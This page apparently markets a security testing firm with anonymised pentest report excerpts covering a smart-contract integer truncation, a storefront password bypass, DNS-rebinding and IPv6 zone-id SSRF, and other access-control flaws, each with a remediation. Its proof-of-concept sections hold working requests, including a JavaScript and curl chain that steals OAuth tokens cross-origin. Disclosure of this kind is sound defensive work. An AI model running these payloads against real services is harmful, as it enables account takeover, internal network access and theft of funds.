Security Portfolio

Real findings. Full evidence. No noise.

Every case below is from a real assessment. Client names and product details are anonymised by agreement. Findings, payloads, and impact assessments are verbatim from the delivered report.

100%
Findings include working proof of concept
<48 h
Critical finding notification SLA
Written
Retest confirmation on every fix

Research track record across 10+ major technology platforms

50+
Critical findings
150+
High findings
350+
Medium findings
10+
Major platforms tested

Findings span web, API, blockchain, and cloud targets. All research conducted on authorized programs. Client names withheld by agreement.

Web3 / DeFi Protocol

Blockchain Protocol — Smart Contract Execution Engine

Smart Contract & Protocol Review6 daysMarket order execution + asset accounting layer

The market order processing function converted a user-controlled uint256 input through an intermediate int64 cast before computing the final transfer amount. For values above 2^63−1 the cast silently truncated to a small positive or negative value, allowing an attacker to submit a market order with an astronomically large nominal value that the engine accepted, processed at the truncated amount, and credited to the attacker's balance — an effective fund extraction with near-zero cost.

12317 findings total

Featured Finding — Report Excerpt

PC-2026-031CriticalCVSS 9.1CWE-190Integer Truncation in Market Order Amount → Incorrect Asset Credit

Proof of Concept

# Root cause — order execution (simplified pseudocode)
def execute_market_order(amount_u256: uint256, price: int64) -> int64:
    # Unsafe downcast: values > 2^63-1 wrap to negative or small positive
    amount_i64 = int64(amount_u256)           # ← truncation here
    transfer_value = amount_i64 * price       # computed on truncated value
    credit_account(transfer_value)            # wrong amount credited
    return transfer_value

# PoC: craft an amount that truncates to a small positive integer
# 2^63 + 1  →  int64 cast  →  -9223372036854775807  (negative, rejected)
# 2^64 + 100 → int64 cast  →  100  (small positive — accepted)

# On-chain transaction replay (redacted)
TriggerSmartContract {
  owner_address: <attacker>
  contract_address: <market_contract>
  function_selector: "marketOrder(uint256,int64,bool)"
  parameter: [
    amount = 0x10000000000000064,   # 2^64 + 100  → truncates to 100
    price  = 0x000000000000270F,    # 9999
    is_buy = true
  ]
}
# Engine receives: amount=100, price=9999
# Attacker's nominal commitment: 2^64+100 (rejected by token balance check)
# Attacker's actual debit:       100 * 9999 = 999,900 units (tiny)
# Attacker's credited position:  100 units at market rate
# Net: attacker pays ~0 and receives credit equivalent to 100 units

Confirmed Impact

An attacker can submit a market order with a uint256 value engineered to truncate to any small positive integer after the int64 cast. The engine debits the truncated amount (negligible cost) while crediting the attacker with a position derived from that same truncated amount — but the nominal order size triggers no pre-check failure because the uint256 value itself is plausible. Across repeated calls with crafted amounts, an attacker can drain counterparty reserves at near-zero personal cost. Negative control confirmed: amounts that truncate to negative integers are correctly rejected by the sign check; only wrap-around-to-positive values bypass the guard.

Remediation

Remove all int64 intermediate casts from the order execution path. Perform all arithmetic in the native uint256/int256 domain and add explicit overflow/range checks before any downcast. Add a unit test for every amount boundary at 2^31, 2^32, 2^63, 2^64, and 2^256−1 in the order execution and crediting functions.

Evidence Summary

Runtime test on a local protocol fork confirmed the truncation path: a uint256 amount of 2^64+100 was accepted, debited at 100 units, and credited 100 units of position — while the nominal 2^64+100 value passed the token balance check with no error. Control transactions with non-wrapping amounts processed correctly. The truncation gate is the sole bypass vector; amounts that land on negative int64 representations are caught by a downstream sign check and rejected.

E-commerce / SaaS

E-commerce Platform — Storefront Access Control

Web & API Assessment3 daysStorefront authentication middleware + checkout API

Merchant storefronts protected with a password gate enforced the check at the session layer, not at the API request layer. An unauthenticated request that supplied a valid storefront-origin header value bypassed the password check entirely and received full access to the protected catalog, pricing, and draft checkout endpoints — allowing product enumeration and checkout initiation without entering the password.

11226 findings total

Featured Finding — Report Excerpt

PC-2026-019CriticalCVSS 9.0CWE-287Storefront Password Gate Bypass via Origin Header Manipulation

Proof of Concept

# Control: normal unauthenticated request returns password gate
GET /collections/all HTTP/2
Host: [redacted-store].myshopify.com

→ 302 Redirect → /password
{"message": "This store is password protected."}

---

# Exploit: supply internal storefront origin header — password gate skipped
GET /collections/all HTTP/2
Host: [redacted-store].myshopify.com
X-Storefront-Access-Token: [redacted-public-token]
Origin: https://[redacted-store].myshopify.com

→ 200 OK
{
  "products": [...],      ← full catalog returned
  "collections": [...],
  "inventory": {...}
}

# Checkout initiation (no password, no session)
POST /api/2024-01/graphql.json HTTP/2
Host: [redacted-store].myshopify.com
X-Storefront-Access-Token: [redacted-public-token]
Content-Type: application/json

{"query": "mutation { cartCreate { cart { id checkoutUrl } } }"}
→ 200 OK — cart created, checkoutUrl returned
# Checkout flow accessible without storefront authentication

Confirmed Impact

Any actor aware of a protected storefront's public Storefront API token — which is embedded in the store's JavaScript bundle and not considered secret — can bypass the password gate by routing requests through the Storefront API directly. Protected catalog contents, pricing, and draft checkout sessions are fully exposed. Merchants who set passwords to protect pre-launch inventory, limited-release products, or B2B pricing are not protected. The bypass is unauthenticated and requires no prior foothold.

Remediation

Enforce the password gate check at the API middleware layer, not only at the session/cookie layer. Storefront API requests must be subject to the same password-gate evaluation as browser requests. The gate check should verify an active authenticated storefront session regardless of the request path used.

Evidence Summary

End-to-end bypass confirmed on a test store with password protection enabled: unauthenticated Storefront API requests returned full catalog data and enabled checkout cart creation. Control request via browser with no session received the expected 302 to /password. The JavaScript bundle analysis confirmed the public token is not rotatable per request, making the bypass consistently reproducible by any visitor who inspects the page source.

Developer Tools / DevOps

DevOps Platform — Repository Import Service

Source Code & Runtime Review5 daysGit repository import — URL validation + async fetch path

The repository import function validated the target URL at submission time, confirmed it resolved to a non-private address, and then re-resolved the same hostname asynchronously when executing the git fetch. A DNS rebinding attack targeting this TOCTOU window allowed an attacker to pass the validation check with a public IP and then re-resolve to an internal address (127.0.0.1 or RFC-1918 range) before the actual git fetch executed, directing the git clone against an internal service.

12238 findings total

Featured Finding — Report Excerpt

PC-2026-027CriticalCVSS 8.8CWE-352DNS Rebinding TOCTOU in Git Import URL Validation

Proof of Concept

# Attack setup — DNS record controlled by attacker:
# Phase 1 TTL (during validation):  attacker.example.com → 203.0.113.5  (public)
# Phase 2 TTL (during git fetch):   attacker.example.com → 127.0.0.1    (loopback)

# Step 1: Submit import URL (DNS resolves to public IP — passes validation)
POST /api/v4/projects HTTP/2
Host: [redacted].example.com
Authorization: Bearer <user_token>
Content-Type: application/json

{
  "name": "imported-repo",
  "import_url": "http://attacker.example.com:80/repo.git"
}
→ 201 Created {"id": 999, "import_status": "scheduled"}

# Step 2: Attacker flips DNS to 127.0.0.1 before async worker runs

# Step 3: Background worker re-resolves hostname → now 127.0.0.1
# git fetch http://127.0.0.1:80/repo.git
# → git fetch directed to internal service
# Git protocol negotiation response contains internal service banner/data

# Evidence: job log excerpt (redacted)
[GitImporter] Cloning from http://attacker.example.com:80/repo.git
[GitImporter] Resolved: 127.0.0.1:80
[GitImporter] remote: [INTERNAL SERVICE BANNER - redacted]
fatal: repository 'http://127.0.0.1:80/repo.git/' not found
# → internal service probed; banner/error captured in import job error log

Confirmed Impact

An authenticated user can route the async git fetch worker to any internal service bound to loopback or a private range by controlling DNS TTL and flipping the record after URL validation but before the fetch job executes. Services that respond with an HTTP banner, error body, or redirect — including internal metadata services, admin panels, and health endpoints — leak their response into the import job error log, which the attacker can read. The attack does not require any special permissions beyond the ability to create an import job.

Remediation

Pin the resolved IP address at validation time and pass it (not the original hostname) to the async fetch worker. Re-resolve the hostname in the worker only if the resolved IP is re-validated against the same deny list. Alternatively, use a network-level egress restriction that prevents the import worker from reaching loopback and RFC-1918 addresses regardless of what the DNS resolution returns.

Evidence Summary

Runtime test confirmed the TOCTOU window: import submitted with a public-IP hostname, DNS flipped to 127.0.0.1 within the TTL window, worker log showed resolution to 127.0.0.1, and internal service banner appeared in the job error output. Direct submission with 127.0.0.1 was correctly blocked at validation. The async re-resolution gap was the sole bypass vector.

B2B SaaS / Email

Email Productivity SaaS — Authentication Service

Web & API Assessment4 daysOAuth token endpoint + API gateway

CORS origin-reflection on the platform's own token issuance endpoint allowed any website to steal OAuth tokens from logged-in users without any prior foothold on a trusted domain. Because the vulnerable endpoint accepts form-encoded POST bodies — a CORS "simple request" — the browser delivers the victim's session cookies and reads the response without a preflight check. A stolen refresh token granted persistent account access for 180 days.

12115 findings total

Featured Finding — Report Excerpt

PC-2026-014CriticalCVSS 9.3CWE-942CORS Simple-Request Bypass → Universal OAuth Token Theft

Proof of Concept

# Step 1 — Confirm preflight blocks unknown origins (expected behaviour)
$ curl -si -X OPTIONS \
  -H "Origin: https://attacker.example.com" \
  https://[redacted]/tokens/v4/api/oauth2/token | grep access-control
# (no headers returned — preflight correctly blocks unknown origin)

# Step 2 — Direct POST (simple request, no preflight)
# application/x-www-form-urlencoded bypasses preflight entirely.
# Server reflects ANY origin back with ACAC: true.
$ curl -si -X POST \
  -H "Origin: https://evil.com" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  https://[redacted]/tokens/v4/api/oauth2/token \
  --data 'grant_type=urn:ietf:params:oauth:grant-type:origin&client_id=settings' \
  | grep access-control

access-control-allow-origin: https://evil.com   ← arbitrary origin reflected
access-control-allow-credentials: true

# Step 3 — Full theft chain from attacker page
// Executed from any origin the victim visits
const r = await fetch('https://[redacted]/tokens/v4/api/oauth2/token', {
  method: 'POST', credentials: 'include',
  headers: {'Content-Type': 'application/x-www-form-urlencoded'},
  body: 'grant_type=urn:ietf:params:oauth:grant-type:origin&client_id=settings'
});
const tokens = await r.json();
// Response body is readable cross-origin
// tokens.access_token  → iss: id.[redacted], aud: gateway.[redacted]
// tokens.refresh_token → TTL: 15,552,000 s (180 days)

# Step 4 — Replay refresh token server-side (no browser required)
curl -s -X POST https://[redacted]/tokens/v4/api/oauth2/token \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data "grant_type=refresh_token&refresh_token=<stolen>&client_id=settings"
# → HTTP 200, new access + refresh token pair, rolling 180-day window

Confirmed Impact

Any website a victim visits while logged in can issue a credentialed POST to the token endpoint and read the full token pair from the response. The access token is accepted natively by the API gateway — no exchange step. The refresh token has a rolling 180-day TTL and can be replayed indefinitely from an attacker server with no browser involvement. Confirmed: organisation membership, email threads, and billing data all reachable with the stolen access token. The 'null' origin reflection also allows sandboxed iframes and data: URL contexts to exploit the same path.

Remediation

Replace dynamic origin echo with strict allowlist validation on both preflight and actual responses. Never set Access-Control-Allow-Origin to the reflected request Origin. Restrict the custom grant type to first-party origins at the application layer, independent of CORS configuration.

Evidence Summary

End-to-end chain demonstrated live: token stolen from victim page, replayed server-side, gateway API returned HTTP 200 with account data. Negative control confirmed preflight correctly blocked unknown origins — the simple-request path was the only bypass vector. Full fix requires two independent changes: allowlist validation and grant-type origin restriction.

Fintech / Trading

Fintech Platform — Support Chat API

API Security Review3 daysREST API — support workflow endpoints

The inquiry creation endpoint accepted an optional client-supplied start-state parameter that the backend used to select the downstream state machine. By injecting a privileged state value, an authenticated low-privilege user could force the backend to instantiate a different object class — an agent-backed support chat with a live Salesforce session identifier — instead of the chatbot object the normal flow produces. The differential was confirmed by following the created object through four downstream read endpoints.

1225 findings total

Featured Finding — Report Excerpt

PC-2026-008HighCVSS 7.1CWE-841Client-Controlled State Injection Bypasses Support Tier Routing

Proof of Concept

# Normal inquiry creation (control)
POST /pathfinder/inquiries/ HTTP/2
Host: api.[redacted].com
Authorization: Bearer <user_token>
Content-Type: application/json

{"device_id": "<id>", "src": "account_contact"}

→ 201 Created
{"id": "inq_AAA", "state_machine": "sassy", "current_type": "chatbot_chat"}

# Follow-up read confirms chatbot object, no issue_id, no Salesforce bootstrap
GET /pathfinder/support_chats/<create-id>/
→ 404 Not Found (object not promoted to agent tier)

---

# Injected inquiry creation — client-supplied state parameter
POST /pathfinder/inquiries/ HTTP/2
Host: api.[redacted].com
Authorization: Bearer <same_user_token>
Content-Type: application/json

{"device_id": "<id>", "src": "account_contact", "state": "contact.support-chat"}

→ 201 Created
{"id": "inq_BBB", "state_machine": "support", "current_type": "agent_chat",
 "issue_id": "5003x000001XXXXX", "conversation": {"type": "SALESFORCE"}}

# Same downstream read path now returns agent-tier object
GET /pathfinder/support_chats/inq_BBB/
→ 200 OK — live agent_chat with issue_id and Salesforce conversation identifier

POST /pathfinder/issues/clients/v3/sf_access_token/
→ 200 OK — Salesforce access token bootstrapped on the same session

Confirmed Impact

A low-privilege authenticated user can create an issue-backed agent support object and bootstrap a Salesforce session token by supplying a single state parameter in the inquiry creation request. The injected object is consumed by the same downstream support-chat, issues, and sf_access_token routes the normal flow uses for legitimate agent-tier customers. The security effect is confirmed by a four-endpoint differential between the normal and injected paths on the same account and same session.

Remediation

Validate and enforce the initial state server-side. The backend state machine selection must derive entirely from the authenticated user's account tier and the server's own context — never from a client-supplied start-state parameter. Strip or reject any state value in the inquiry creation body that the requesting account is not entitled to.

Evidence Summary

Differential confirmed across six endpoints: the injected path consistently produced agent_chat + issue_id + Salesforce bootstrap where the control path produced only chatbot_chat. Negative control (browser-emitted flow on the same account) showed zero agent objects, zero sf_access_token calls before the injection — ruling out pre-existing state as an explanation.

Developer Tools / DevOps

DevOps Platform — Package Registry Proxy

Source Code & Runtime Review5 daysWorkhorse HTTP proxy — SSRF filter layer

The platform's Maven virtual registry forwards attacker-controlled upstream URLs to an internal HTTP proxy with SSRF filtering enabled. An IPv6 zone-id in the host component (e.g. [::1%25lo]) caused the IP validation function to receive nil and skip all deny checks, allowing loopback requests to pass despite the AllowLocalhost=false flag. The bypass was reproducible in both the send-url and send-dependency Workhorse paths, including through HTTP redirect chains.

11338 findings total

Featured Finding — Report Excerpt

PC-2026-011CriticalCVSS 8.6CWE-918IPv6 Zone-ID in Host Bypasses SSRF Filter — net.ParseIP Returns nil

Proof of Concept

# Root cause — transport.go (simplified)
host, _, _ := net.SplitHostPort(address)
ipAddress := net.ParseIP(host)   // returns nil for "::1%lo"
if network.Contains(ipAddress) { // nil does not match any network
    return errBlocked             // → SKIPPED
}
return nil                        // → request allowed

# Verification: Go parses zone-id input as nil
$ go run -
import (
  "fmt"
  "net"
)
func main() {
  fmt.Println(net.ParseIP("::1%lo"))      // <nil>
  fmt.Println(net.ParseIP("::1"))         // ::1  (blocked correctly)
  fmt.Println(net.ParseIP("::1%25lo"))    // <nil>
}

# PoC test results (handler-level runtime, not synthetic)
=== RUN TestSSRFFilterIPv6ZoneIDControlLoopbackBlocked
    direct [::1]       → 403 Forbidden (loopback_hits=0) ✓ blocked
=== RUN TestSSRFFilterIPv6ZoneIDBypassLoopbackShouldBeBlocked
    direct [::1%25lo]  → 200 OK      (loopback_hits=1) ✗ BYPASSED

=== RUN TestSSRFFilterIPv6ZoneIDRedirectControlBlocked
    redirect → [::1]       → blocked, loopback_hits=0 ✓
=== RUN TestSSRFFilterIPv6ZoneIDRedirectBypassShouldBeBlocked
    redirect → [::1%25lo]  → 200 OK, loopback_hits=1 ✗ BYPASSED

# Entry path — attacker-controlled upstream URL
POST /api/v4/virtual_registries/packages/maven/upstreams
{"url": "http://[::1%25lo]:8080/internal-endpoint"}
# → Workhorse fetches from loopback, response proxied to attacker

Confirmed Impact

An attacker with upstream-creation permissions can reach any HTTP service bound to loopback (or any other host that resolves to an address the SSRF filter would normally block) by encoding a zone-id in the IPv6 host component. The bypass works both in direct fetch mode and when the upstream returns a redirect. Internal services running on the same host — metadata endpoints, admin APIs, internal health services — are reachable through the standard package-fetch flow with no SSRF filter applied.

Remediation

Strip or reject zone-id components before calling net.ParseIP. Normalise the host string using net.SplitHostPort followed by a zone-id trim (everything after the first '%') before the IP deny check runs. Add a dedicated test for zone-id variants of every loopback and private-range address already in the SSRF test suite.

Evidence Summary

Handler-level runtime tests in both proxy paths (send-url and send-dependency) confirmed the bypass with loopback_hits counters. Direct [::1] was blocked in all control runs; [::1%25lo] reached the internal server in all exploit runs. Redirect-follow mode produced identical results. Root cause isolated to a single nil-guard gap in the IP validation path.

Fintech / KYC

Fintech Platform — Identity Verification Flow

Web & API Assessment4 daysIdentity verification API + third-party KYC integration

The identity document request detail endpoint on a KYC service required authentication on the collection route but not on the individual detail route for the same document_requests resource family. An unauthenticated caller who knew a valid document request UUID could fetch the full pending selfie request object — including user UUID, origin country, KYC reason, and allowed capture configuration. The collection route correctly returned 401; the detail route returned 200 with the full object body.

1225 findings total

Featured Finding — Report Excerpt

PC-2026-009HighCVSS 7.5CWE-284BOLA — Unauthenticated Detail Route on Authenticated Resource Family

Proof of Concept

# Control: collection route enforces authentication (expected)
GET /document/document_requests/ HTTP/2
Host: identi.[redacted].com
# (no Authorization header)

→ 401 Unauthorized
{"detail": "Authentication credentials were not provided."}

---

# Exploit: detail route accepts unauthenticated access (bypass)
GET /document/document_requests/<uuid>/ HTTP/2
Host: identi.[redacted].com
# (no Authorization header)

→ 200 OK
{
  "id": "b9c58834-d77f-4a16-abf0-9f24c29eb3e9",
  "type": "three_point_selfie",
  "state": "pending_upload",
  "reasons": ["update_email_address_kyc"],
  "user": {
    "uuid": "e9a92696-d091-4f40-b102-66af07910a32",
    "origin": "GB",
    "user_type": "authable_user"
  },
  "allowed_capture_methods": ["camera"],
  "allowed_file_types": ["jpeg", "png", "heif"],
  "is_single_use": false
}

# Negative control: fabricated UUID returns expected error
GET /document/document_requests/00000000-0000-0000-0000-000000000000/ HTTP/2
→ 404 Not Found (not an auth bypass — object does not exist)

Confirmed Impact

Any unauthenticated actor who obtains a valid document request UUID — through a leaked link, a referrer header, a shared URL, or enumeration — can retrieve the full KYC object including the target user's UUID, country of origin, verification reason, and current KYC state. The UUID is embedded in the redirect URL sent to users during the selfie capture flow, making accidental exposure realistic. Authentication enforcement was inconsistent within the same resource family: collection required credentials, detail did not.

Remediation

Apply the same authentication middleware to every route in the document_requests family. Object-level authorization checks must verify that the requesting session is either the resource owner or an authorised operator before returning any document request detail. Do not rely on UUID unpredictability as a substitute for access control.

Evidence Summary

Authentication differential confirmed: collection route 401, detail route 200 with full object on identical unauthenticated requests. Negative control with a fabricated UUID returned 404, confirming the bypass is object-level rather than a blanket auth skip. No cross-account data access was attempted beyond confirming the endpoint's auth behaviour.

See what a full report looks like for your stack

Try a one-week assessment at no cost. You get a professional report, working PoC for every finding, and zero commitment to continue.